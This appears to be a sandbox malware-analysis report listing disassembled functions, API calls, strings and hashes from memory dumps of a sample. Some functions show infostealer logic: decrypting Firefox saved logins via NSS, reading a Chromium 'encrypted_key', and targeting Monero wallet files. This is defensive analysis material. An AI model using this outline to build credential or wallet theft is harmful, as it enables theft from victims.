GetProcAddress.KERNEL32(00000000,GetWindowDC), ref: 6CB05716
GetProcAddress.KERNEL32(00000000,FillRect), ref: 6CB0572F
GetProcAddress.KERNEL32(00000000,ReleaseDC), ref: 6CB05748
GetProcAddress.KERNEL32(00000000,LoadIconW), ref: 6CB05761
GetProcAddress.KERNEL32(00000000,LoadCursorW), ref: 6CB0577A
GetProcAddress.KERNEL32(00000000,MonitorFromWindow), ref: 6CB05793
GetProcAddress.KERNEL32(00000000,GetMonitorInfoW), ref: 6CB057A8
GetProcAddress.KERNEL32(00000000,SetWindowLongPtrW), ref: 6CB057BD
GetProcAddress.KERNEL32(?,StretchDIBits), ref: 6CB057D5
GetProcAddress.KERNEL32(?,CreateSolidBrush), ref: 6CB057EA
GetProcAddress.KERNEL32(?,DeleteObject), ref: 6CB057FF

Strings

gdi32, xrefs: 6CB0560A
LoadCursorW, xrefs: 6CB05774
user32, xrefs: 6CB05601
GetMonitorInfoW, xrefs: 6CB057A2
EnableNonClientDpiScaling, xrefs: 6CB05666
DeleteObject, xrefs: 6CB057F9
StretchDIBits, xrefs: 6CB057CC
FillRect, xrefs: 6CB05729
GetSystemMetricsForDpi, xrefs: 6CB05677
SetWindowPos, xrefs: 6CB056F7
SetWindowLongPtrW, xrefs: 6CB057B7
CreateWindowExW, xrefs: 6CB056C5
RegisterClassW, xrefs: 6CB056AC
GetThreadDpiAwarenessContext, xrefs: 6CB0562D
GetDpiForWindow, xrefs: 6CB05690
CreateSolidBrush, xrefs: 6CB057E4
LoadIconW, xrefs: 6CB0575B
ReleaseDC, xrefs: 6CB05742
GetWindowDC, xrefs: 6CB05710
MonitorFromWindow, xrefs: 6CB0578D
ShowWindow, xrefs: 6CB056DE
AreDpiAwarenessContextsEqual, xrefs: 6CB05637

Memory Dump Source

Source File: 00000001.00000002.2408928004.000000006CAA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAA0000, based on PE: true

Associated: 00000001.00000002.2408902658.000000006CAA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2409039339.000000006CB1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2409116843.000000006CB2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2409238614.000000006CB32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6caa0000_file.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: AreDpiAwarenessContextsEqual$CreateSolidBrush$CreateWindowExW$DeleteObject$EnableNonClientDpiScaling$FillRect$GetDpiForWindow$GetMonitorInfoW$GetSystemMetricsForDpi$GetThreadDpiAwarenessContext$GetWindowDC$LoadCursorW$LoadIconW$MonitorFromWindow$RegisterClassW$ReleaseDC$SetWindowLongPtrW$SetWindowPos$ShowWindow$StretchDIBits$gdi32$user32
API String ID: 2238633743-1964193996
Opcode ID: cc887eb8b86120bed10533c62c63d2016577e1ee8857dc3d800e592ef144bf83
Instruction ID: c9f30597dff4a0ca827b7f053a63dcd8f919a56df14e10b5e7cc55a8d8ec72be
Opcode Fuzzy Hash: cc887eb8b86120bed10533c62c63d2016577e1ee8857dc3d800e592ef144bf83
Instruction Fuzzy Hash: 36512C747113969B9B00AF358D5493A3BBCFF0A2567144829AD26E3E15EF7CCC048F69

Function 6CAECC00 Relevance: 73.7, APIs: 25, Strings: 24, Instructions: 233stringCOMMON

Download Yara Rule

APIs

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,default,?,6CAB582D), ref: 6CAECC27
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,java,?,?,?,6CAB582D), ref: 6CAECC3D
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,6CB1FE98,?,?,?,?,?,6CAB582D), ref: 6CAECC56
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,leaf,?,?,?,?,?,?,?,6CAB582D), ref: 6CAECC6C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,mainthreadio,?,?,?,?,?,?,?,?,?,6CAB582D), ref: 6CAECC82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileio,?,?,?,?,?,?,?,?,?,?,?,6CAB582D), ref: 6CAECC98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileioall,?,?,?,?,?,?,?,?,?,?,?,?,?,6CAB582D), ref: 6CAECCAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,noiostacks), ref: 6CAECCC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,screenshots), ref: 6CAECCDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,seqstyle), ref: 6CAECCEC
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,stackwalk), ref: 6CAECCFE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,jsallocations), ref: 6CAECD14
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nostacksampling), ref: 6CAECD82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,preferencereads), ref: 6CAECD98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nativeallocations), ref: 6CAECDAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,ipcmessages), ref: 6CAECDC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,audiocallbacktracing), ref: 6CAECDDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpu), ref: 6CAECDF0
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,notimerresolutionchange), ref: 6CAECE06
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpuallthreads), ref: 6CAECE1C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,samplingallthreads), ref: 6CAECE32
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,markersallthreads), ref: 6CAECE48
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,unregisteredthreads), ref: 6CAECE5E
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,processcpu), ref: 6CAECE74
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,power), ref: 6CAECE8A

Strings

notimerresolutionchange, xrefs: 6CAECE00
mainthreadio, xrefs: 6CAECC7C
samplingallthreads, xrefs: 6CAECE2C
fileio, xrefs: 6CAECC92
stackwalk, xrefs: 6CAECCF8
jsallocations, xrefs: 6CAECD0E
fileioall, xrefs: 6CAECCA8
unregisteredthreads, xrefs: 6CAECE58
Unrecognized feature "%s"., xrefs: 6CAECEA0
default, xrefs: 6CAECC21
preferencereads, xrefs: 6CAECD92
markersallthreads, xrefs: 6CAECE42
seqstyle, xrefs: 6CAECCE6
leaf, xrefs: 6CAECC66
java, xrefs: 6CAECC37
cpuallthreads, xrefs: 6CAECE16
nostacksampling, xrefs: 6CAECD7C
ipcmessages, xrefs: 6CAECDBE
processcpu, xrefs: 6CAECE6E
nativeallocations, xrefs: 6CAECDA8
noiostacks, xrefs: 6CAECCBE
screenshots, xrefs: 6CAECCD4
power, xrefs: 6CAECE84
audiocallbacktracing, xrefs: 6CAECDD4

Memory Dump Source

Source File: 00000001.00000002.2408928004.000000006CAA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAA0000, based on PE: true

Associated: 00000001.00000002.2408902658.000000006CAA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2409039339.000000006CB1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2409116843.000000006CB2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2409238614.000000006CB32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6caa0000_file.jbxd

Similarity

API ID: strcmp
String ID: Unrecognized feature "%s".$audiocallbacktracing$cpuallthreads$default$fileio$fileioall$ipcmessages$java$jsallocations$leaf$mainthreadio$markersallthreads$nativeallocations$noiostacks$nostacksampling$notimerresolutionchange$power$preferencereads$processcpu$samplingallthreads$screenshots$seqstyle$stackwalk$unregisteredthreads
API String ID: 1004003707-2809817890
Opcode ID: 75f3641be57fa04a8223b51277995e3404101f0b21fca90ac6778087d626ca30
Instruction ID: 71e6ccdbc32fda22d1d9ae652ddf012ff3242f793530fd454bee57f74340a94f
Opcode Fuzzy Hash: 75f3641be57fa04a8223b51277995e3404101f0b21fca90ac6778087d626ca30
Instruction Fuzzy Hash: E951B8E59492E512FE0430193D60BEF1C08EB5B25EF141436ED09A2E80FB1A979996F7

Function 6CAB4470 Relevance: 43.9, APIs: 20, Strings: 5, Instructions: 178libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6CAB4730: GetModuleHandleW.KERNEL32(00000000,?,?,?,?,6CAB44B2,6CB2E21C,6CB2F7F8), ref: 6CAB473E
Part of subcall function 6CAB4730: GetProcAddress.KERNEL32(00000000,GetNtLoaderAPI), ref: 6CAB474A

GetModuleHandleW.KERNEL32(WRusr.dll), ref: 6CAB44BA
LoadLibraryW.KERNEL32(kernel32.dll), ref: 6CAB44D2
InitOnceExecuteOnce.KERNEL32(6CB2F80C,6CAAF240,?,?), ref: 6CAB451A
GetModuleHandleW.KERNEL32(user32.dll), ref: 6CAB455C
LoadLibraryW.KERNEL32(?), ref: 6CAB4592
InitializeCriticalSection.KERNEL32(6CB2F770), ref: 6CAB45A2
moz_xmalloc.MOZGLUE(00000008), ref: 6CAB45AA
moz_xmalloc.MOZGLUE(00000018), ref: 6CAB45BB
InitOnceExecuteOnce.KERNEL32(6CB2F818,6CAAF240,?,?), ref: 6CAB4612
?IsWin32kLockedDown@mozilla@@YA_NXZ.MOZGLUE ref: 6CAB4636
LoadLibraryW.KERNEL32(user32.dll), ref: 6CAB4644
memset.VCRUNTIME140(?,00000000,00000114), ref: 6CAB466D
VerSetConditionMask.NTDLL ref: 6CAB469F
VerSetConditionMask.NTDLL ref: 6CAB46AB
VerSetConditionMask.NTDLL ref: 6CAB46B2
VerSetConditionMask.NTDLL ref: 6CAB46B9
VerSetConditionMask.NTDLL ref: 6CAB46C0
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6CAB46CD
GetModuleHandleW.KERNEL32(00000000), ref: 6CAB46F1
GetProcAddress.KERNEL32(00000000,NativeNtBlockSet_Write), ref: 6CAB46FD

Strings

WRusr.dll, xrefs: 6CAB44B5
kernel32.dll, xrefs: 6CAB44CD
user32.dll, xrefs: 6CAB4557, 6CAB463F
l, xrefs: 6CAB4578
NativeNtBlockSet_Write, xrefs: 6CAB46F7

Memory Dump Source

Source File: 00000001.00000002.2408928004.000000006CAA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAA0000, based on PE: true

Associated: 00000001.00000002.2408902658.000000006CAA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2409039339.000000006CB1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2409116843.000000006CB2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2409238614.000000006CB32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6caa0000_file.jbxd

Similarity

API ID: ConditionMask$HandleModuleOnce$LibraryLoad$AddressExecuteInitProcmoz_xmalloc$CriticalDown@mozilla@@InfoInitializeLockedSectionVerifyVersionWin32kmemset
String ID: NativeNtBlockSet_Write$WRusr.dll$kernel32.dll$l$user32.dll
API String ID: 1702738223-3894940629
Opcode ID: cea040b6c31535b72b3bd8878176a621b28d1dc9cd85cdf63e6da20125685504
Instruction ID: 506053a0a0f9b6ff3aebbf1d5725964b6c466eb8b2e1d8ac3c0145c804579da2
Opcode Fuzzy Hash: cea040b6c31535b72b3bd8878176a621b28d1dc9cd85cdf63e6da20125685504
Instruction Fuzzy Hash: A26115B0600394AFEB109F61CC09BB9BBBCEF46309F08855CE549ABA51D77899C5CF90

Function 00AFC990 Relevance: 28.4, APIs: 15, Strings: 1, Instructions: 384filestringCOMMON

Download Yara Rule

APIs

NSS_Init.NSS3(00000000), ref: 00AFC9A5

Part of subcall function 00B0A740: lstrcpy.KERNEL32(00B10E17,00000000), ref: 00B0A788

Part of subcall function 00B0A920: lstrcpy.KERNEL32(00000000,?), ref: 00B0A972
Part of subcall function 00B0A920: lstrcat.KERNEL32(00000000), ref: 00B0A982

Part of subcall function 00B0A8A0: lstrcpy.KERNEL32(?,00B10E17), ref: 00B0A905

Part of subcall function 00B0A9B0: lstrlen.KERNEL32(?,00768A98,?,\Monero\wallet.keys,00B10E17), ref: 00B0A9C5
Part of subcall function 00B0A9B0: lstrcpy.KERNEL32(00000000), ref: 00B0AA04
Part of subcall function 00B0A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00B0AA12

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000,00000000,?,0076C8D8,00000000,?,00B1144C,00000000,?,?), ref: 00AFCA6C
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002), ref: 00AFCA89
GetFileSize.KERNEL32(00000000,00000000), ref: 00AFCA95
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000), ref: 00AFCAA8
ReadFile.KERNEL32(00000000,?,00000000,?,00000000), ref: 00AFCAD9
StrStrA.SHLWAPI(?,0076CB90,00B10B52), ref: 00AFCAF7
StrStrA.SHLWAPI(00000000,0076C998), ref: 00AFCB1E
StrStrA.SHLWAPI(?,0076D0E8,00000000,?,00B11458,00000000,?,00000000,00000000,?,00768978,00000000,?,00B11454,00000000,?), ref: 00AFCCA2
StrStrA.SHLWAPI(00000000,0076D348), ref: 00AFCCB9

Part of subcall function 00AFC820: lstrlen.KERNEL32(?,00000001,?,00000000,00000000,00000000), ref: 00AFC871
Part of subcall function 00AFC820: CryptStringToBinaryA.CRYPT32(?,00000000), ref: 00AFC87C
Part of subcall function 00AFC820: PK11_GetInternalKeySlot.NSS3 ref: 00AFC88A
Part of subcall function 00AFC820: PK11_Authenticate.NSS3(00000000,00000001,00000000), ref: 00AFC8A5
Part of subcall function 00AFC820: PK11SDR_Decrypt.NSS3(?,?,00000000), ref: 00AFC8EB
Part of subcall function 00AFC820: PK11_FreeSlot.NSS3(?), ref: 00AFC961

StrStrA.SHLWAPI(?,0076D348,00000000,?,00B1145C,00000000,?,00000000,007688D8), ref: 00AFCD5A
StrStrA.SHLWAPI(00000000,00768B18), ref: 00AFCD71

Part of subcall function 00AFC820: lstrcat.KERNEL32(?,00B10B46), ref: 00AFC943
Part of subcall function 00AFC820: lstrcat.KERNEL32(?,00B10B47), ref: 00AFC957
Part of subcall function 00AFC820: lstrcat.KERNEL32(?,00B10B4E), ref: 00AFC978

lstrlen.KERNEL32(00000000), ref: 00AFCE44
CloseHandle.KERNEL32(00000000), ref: 00AFCE9C
NSS_Shutdown.NSS3 ref: 00AFCEAA

Strings

, xrefs: 00AFC9C6

Memory Dump Source

Source File: 00000001.00000002.2380969091.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000001.00000002.2380955110.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BDF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000CB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000CBB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000D4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000ED1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FD6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FE5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381532579.0000000000FE6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381634174.000000000117B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381648855.000000000117C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_af0000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcat$lstrcpy$K11_lstrlen$PointerSlot$AuthenticateBinaryCloseCreateCryptDecryptFreeHandleInitInternalReadShutdownSizeString
String ID:
API String ID: 1052888304-3916222277
Opcode ID: ad47166efda481bc72d92a1d5d7afb3e1da6391aac8cf27d638d0c3fb6b83535
Instruction ID: 23aa68961fc31eab1173c37d04abc67318e34ad5f6efd240e9e6c53b60bba51b
Opcode Fuzzy Hash: ad47166efda481bc72d92a1d5d7afb3e1da6391aac8cf27d638d0c3fb6b83535
Instruction Fuzzy Hash: 0BE1DF71910308ABDB14EBA4DD95FEEBBB8AF14300F408599F106B71D1DF346A4ACB61

Function 00B012D0 Relevance: 24.8, APIs: 11, Strings: 3, Instructions: 310COMMON

Download Yara Rule

Strings

`v, xrefs: 00B01560
pv, xrefs: 00B015EF
Pv, xrefs: 00B013FA

Memory Dump Source

Source File: 00000001.00000002.2380969091.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000001.00000002.2380955110.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BDF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000CB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000CBB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000D4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000ED1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FD6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FE5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381532579.0000000000FE6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381634174.000000000117B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381648855.000000000117C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_af0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen
String ID: Pv$`v$pv
API String ID: 2001356338-774415078
Opcode ID: 565e91ff8caa9fae4857ead99556ec99cbf56a2e86ece872dcadfc9ecb051864
Instruction ID: 818772ee11e4385fe96a1f08a1cda80b96325501fb0c898feb0b9c1a64bd7f88
Opcode Fuzzy Hash: 565e91ff8caa9fae4857ead99556ec99cbf56a2e86ece872dcadfc9ecb051864
Instruction Fuzzy Hash: B7C178B5A002199BCB14EF64DC89FDA77B8BB64304F1045D9F50AA72C1DB70EA85CFA1

Function 6CAB9590 Relevance: 24.7, APIs: 10, Strings: 4, Instructions: 192libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6CAA31C0: LoadLibraryW.KERNEL32(KernelBase.dll), ref: 6CAA3217
Part of subcall function 6CAA31C0: GetProcAddress.KERNEL32(00000000,QueryInterruptTime), ref: 6CAA3236
Part of subcall function 6CAA31C0: FreeLibrary.KERNEL32 ref: 6CAA324B
Part of subcall function 6CAA31C0: __Init_thread_footer.LIBCMT ref: 6CAA3260
Part of subcall function 6CAA31C0: ?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(?), ref: 6CAA327F
Part of subcall function 6CAA31C0: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CAA328E
Part of subcall function 6CAA31C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6CAA32AB
Part of subcall function 6CAA31C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6CAA32D1
Part of subcall function 6CAA31C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6CAA32E5
Part of subcall function 6CAA31C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6CAA32F7

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6CAB9675
__Init_thread_footer.LIBCMT ref: 6CAB9697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6CAB96E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6CAB9707
__Init_thread_footer.LIBCMT ref: 6CAB971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6CAB9773
GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6CAB97B7
FreeLibrary.KERNEL32 ref: 6CAB97D0
FreeLibrary.KERNEL32 ref: 6CAB97EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6CAB9824

Strings

Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6CAB9670
ntdll.dll, xrefs: 6CAB96E3
NtMapViewOfSection, xrefs: 6CAB9701
MapViewOfFileNuma2, xrefs: 6CAB97B1

Memory Dump Source

Source File: 00000001.00000002.2408928004.000000006CAA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAA0000, based on PE: true

Associated: 00000001.00000002.2408902658.000000006CAA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2409039339.000000006CB1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2409116843.000000006CB2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2409238614.000000006CB32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6caa0000_file.jbxd

Similarity

API ID: LibraryTime$StampV01@@Value@mozilla@@$AddressFreeInit_thread_footerLoadProc$ErrorLastStamp@mozilla@@$Creation@Now@ProcessV12@V12@_
String ID: Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 3361784254-3880535382
Opcode ID: 16378e44437904f69018019d762b35e92da40c796cf4b15341cd7299a298b338
Instruction ID: 68e3804d7f796d0058b3ad7b1e958b4231b0ac0cdfe92fcbf1075dd855fc4bee
Opcode Fuzzy Hash: 16378e44437904f69018019d762b35e92da40c796cf4b15341cd7299a298b338
Instruction Fuzzy Hash: A36105716003119BDF00DFB4DA88FBA7BB9FB5A314F044529ED55A3B90D738A888CB91

Function 00B04280 Relevance: 23.0, APIs: 11, Strings: 2, Instructions: 204stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00B08DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00B08E0B

lstrcat.KERNEL32(?,00000000), ref: 00B042EC
lstrcat.KERNEL32(?,0076E5E8), ref: 00B0430B
lstrcat.KERNEL32(?,?), ref: 00B0431F
lstrcat.KERNEL32(?,0076CAA0), ref: 00B04333

Part of subcall function 00B0A740: lstrcpy.KERNEL32(00B10E17,00000000), ref: 00B0A788

Part of subcall function 00B08D90: GetFileAttributesA.KERNEL32(00000000,?,00AF1B54,?,?,00B1564C,?,?,00B10E1F), ref: 00B08D9F

Part of subcall function 00AF9CE0: StrStrA.SHLWAPI(00000000,"encrypted_key":"), ref: 00AF9D39

Part of subcall function 00AF99C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00AF99EC
Part of subcall function 00AF99C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00AF9A11
Part of subcall function 00AF99C0: LocalAlloc.KERNEL32(00000040,?), ref: 00AF9A31
Part of subcall function 00AF99C0: ReadFile.KERNEL32(000000FF,?,00000000,00AF148F,00000000), ref: 00AF9A5A
Part of subcall function 00AF99C0: LocalFree.KERNEL32(00AF148F), ref: 00AF9A90
Part of subcall function 00AF99C0: CloseHandle.KERNEL32(000000FF), ref: 00AF9A9A

Part of subcall function 00B093C0: GlobalAlloc.KERNEL32(00000000,00B043DD,00B043DD), ref: 00B093D3

StrStrA.SHLWAPI(?,0076E528), ref: 00B043F3
GlobalFree.KERNEL32(?), ref: 00B04512

Part of subcall function 00AF9AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00AF4EEE,00000000,00000000), ref: 00AF9AEF
Part of subcall function 00AF9AC0: LocalAlloc.KERNEL32(00000040,?,?,?,00AF4EEE,00000000,?), ref: 00AF9B01
Part of subcall function 00AF9AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00AF4EEE,00000000,00000000), ref: 00AF9B2A
Part of subcall function 00AF9AC0: LocalFree.KERNEL32(?,?,?,?,00AF4EEE,00000000,?), ref: 00AF9B3F

lstrcat.KERNEL32(?,00000000), ref: 00B044A3
StrCmpCA.SHLWAPI(?,00B108D1), ref: 00B044C0
lstrcat.KERNEL32(00000000,00000000), ref: 00B044D2
lstrcat.KERNEL32(00000000,?), ref: 00B044E5
lstrcat.KERNEL32(00000000,00B10FB8), ref: 00B044F4

Strings

v, xrefs: 00B042FD
(v, xrefs: 00B043E6

Memory Dump Source

Source File: 00000001.00000002.2380969091.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000001.00000002.2380955110.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BDF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C0B000.00000040.00000001.01000000.00000003.sdmpDownload File
